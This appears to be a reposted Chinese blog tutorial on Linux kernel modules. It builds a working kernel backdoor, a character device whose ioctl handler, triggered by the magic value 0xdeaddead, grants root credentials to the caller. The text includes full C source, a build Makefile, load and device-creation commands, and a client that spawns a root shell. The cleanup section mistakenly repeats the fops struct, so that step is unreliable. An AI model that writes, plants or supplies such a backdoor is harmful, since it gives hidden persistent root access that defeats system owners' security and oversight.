linux内核启动后门,Linux内核模块入门之简单内核后门
內核模塊簡介
Linux內核支持運行時動態擴展,即運行時動態加載內核擴展模塊(.ko文件),ko文件所包含的代碼經加載后即成為內核代碼的一部分,擁有內核特權,可以調用內核其它組件,訪問內核空間數據以及操作硬件。當然也有跟內核代碼一樣的限制,如較小的函數調用棧,不支持浮點運算等。
此處列舉一些內核模塊特有的能力:
硬件驅動。內核模塊作為硬件的驅動程序,這應該是內核模塊最主要的設計目標。
進程控制。內核態對進程有完全的控制權,如權限提升(如內核后門)、信號掛起(如保護某個進程不被kill -9誤殺)。
內核擴展。內核有一些擴展點,是需要用模塊來完成的(Linux的防火墻框架netfilter)。
此外,由于眾所周知的原因,開發內核模塊,只能使用C語言。
內核模塊與用戶空間的接口
內核和用戶空間的通信,主要有以下幾種方式:
系統調用
ioctl
proc
netlink
其中,系統調用是最直接的,但不適用于內核模塊,因為擴展系統調用需要編譯整個內核,這違背了運行時動態擴展的初衷;/proc是一個偽文件系統,可以用于傳遞信息,但無法做到實時,因為文件系統是被動的;netlink接口類似socket,提供內核和用戶態間的雙向通信,功能上完全沒問題,但用起來有些復雜,適合做更重要的事情。所以,這里用ioctl來實現。
ioctl是針對文件的操作,所以這里的套路是:創建一個設備文件,并把內核模塊指定為這個設備文件的驅動程序。這樣,用戶空間對這個設備文件發出的ioctl指令,即可傳達給內核模塊。
內核后門思路
由于內核代碼擁有系統最高權限(當然,裝載內核模塊需要root權限,否則系統就沒有安全性可言了),故可以在內核模塊中留下后門,以便隨后的某個時刻獲取系統最高權限。其實現思路很簡單,內核模塊加載后作為內核一部分運行,用戶空間進程通過ioctl調用內核模塊中的函數,內核模塊將調用者進程的uid和gid設置為root,即可實現權限提升。另外,由于內核模塊是跟內核運行在一起的,故這種后門是沒有進程的。
具體實現
01 聲明初始化和結束入口
//其中init和cleanup是模塊里實現的函數,會在下面介紹
module_init(init);
module_exit(cleanup);
}
內核模塊被加載和卸載時,相應的初始化和清理函數被調用,一般是做一些資源的申請、釋放操作。
02 設備注冊
分配設備號,并指定模塊中的函數作為設備驅動例程,這個過程一般在模塊的初始化函數里實現,模塊的初始化函數在模塊被加載時被自動調用:
static int init(void) {
const char *const dev_name = “/dev/kdoor”;
g_major = register_chrdev(0, dev_name, &fops);
if (g_major < 0) {
return g_major;
}
return 0;
}
其中的fops是一個函數指針數組,用于指定設備驅動函數地址,這里只需要注冊響應打開文件,關閉文件和ioctl的函數:
static struct file_operations fops = {
.owner = THIS_MODULE,
.open = device_open,
.release = device_release,
.unlocked_ioctl = device_ioctl
};
同理,需要在模塊被卸載時卸載驅動。釋放設備號資源:
static struct file_operations fops = {
.owner = THIS_MODULE,
.open = device_open,
.release = device_release,
.unlocked_ioctl = device_ioctl
};
03 處理設備打開
有進程打開相應設備文件時,該函數被自動調用,這里由于功能太簡單,什么都不需要做,返回成功即可:
static int device_open(struct inode *inode, struct file *file) {
return 0;
}
04 響應ioctl
有進程在設備文件上調用ioctl時,該函數被自動調用,我們的后門功能也就在這里完成:
static long device_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
//涉及到Linux的RCU操作,不能直接賦值,稍微有點繁瑣但并不復雜
struct cred *new_cred;
kuid_t kuid = KUIDT_INIT(0);
kgid_t kgid = KGIDT_INIT(0);
if (cmd == 0xdeaddead) {
new_cred = prepare_creds();
if (new_cred == NULL) {
return -ENOMEM;
}
new_cred->uid = kuid;
new_cred->gid = kgid;
new_cred->euid = kuid;
new_cred->egid = kgid;
commit_creds(new_cred);
}
return 0;
}
05 處理關閉文件
設備文件描述符被關閉時,或者進程異常時,這個函數被自動調用,針對這個例子,這里依然什么都不需要做:
static int device_release(struct inode *inode, struct file *file) {
return 0;
}
后門的使用
01 編譯內核模塊
核心是一個特殊的Makefile:
ifneq ($(KERNELRELEASE),)
obj-m:=kdoor.o
else
PWD:=$(shell pwd)
KDIR:=/lib/modules/$(shell uname -r)/build
all:
$(MAKE) -C $(KDIR) M=$(PWD)
clean:
rm -rf *.o *.mod.c *.ko *.symvers *.order *.markers
endif
另外,內核模塊編譯時,還需要安裝內核開發目錄。
02 加載模塊
上述模塊經過編譯后,即可得到一個ko文件:
insmod ./kdoor.ko
03 創建設備
使用mknod命令創建設備文件:根據設備驅動編號創建設備文件,以便用戶空間可以與內核模塊通信:
mknod /dev/kdoor c `grep KDoor /proc/devices|awk ‘{print $1}’` 0
第二個參數c表示此處創建的是一個字符設備,第三個參數是設備號,可以從/proc/devices文件獲取。
在用戶空間使用這個后門(將調用進程權限提升為root)
直接上代碼(留意注釋):
int main(int argc, char *argv[]) {
const char * const dev_name = “/dev/kdoor”;
//打開文件
int fd = open(dev_name, O_RDWR);
if (-1 == fd) {
return 1;
}
//通過ioctl調用到模塊中的實現
int ret = ioctl(fd, 0xdeaddead, 0);
if (ret != 0) {
return 1;
}
//執行shell,此shell即擁有root權限
execlp(“sh”, “sh”, NULL);
總結
以上是生活随笔為你收集整理的linux内核启动后门,Linux内核模块入门之简单内核后门的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Django syncdb mysql
- 下一篇: RabbitMQ实例教程:发布/订阅者消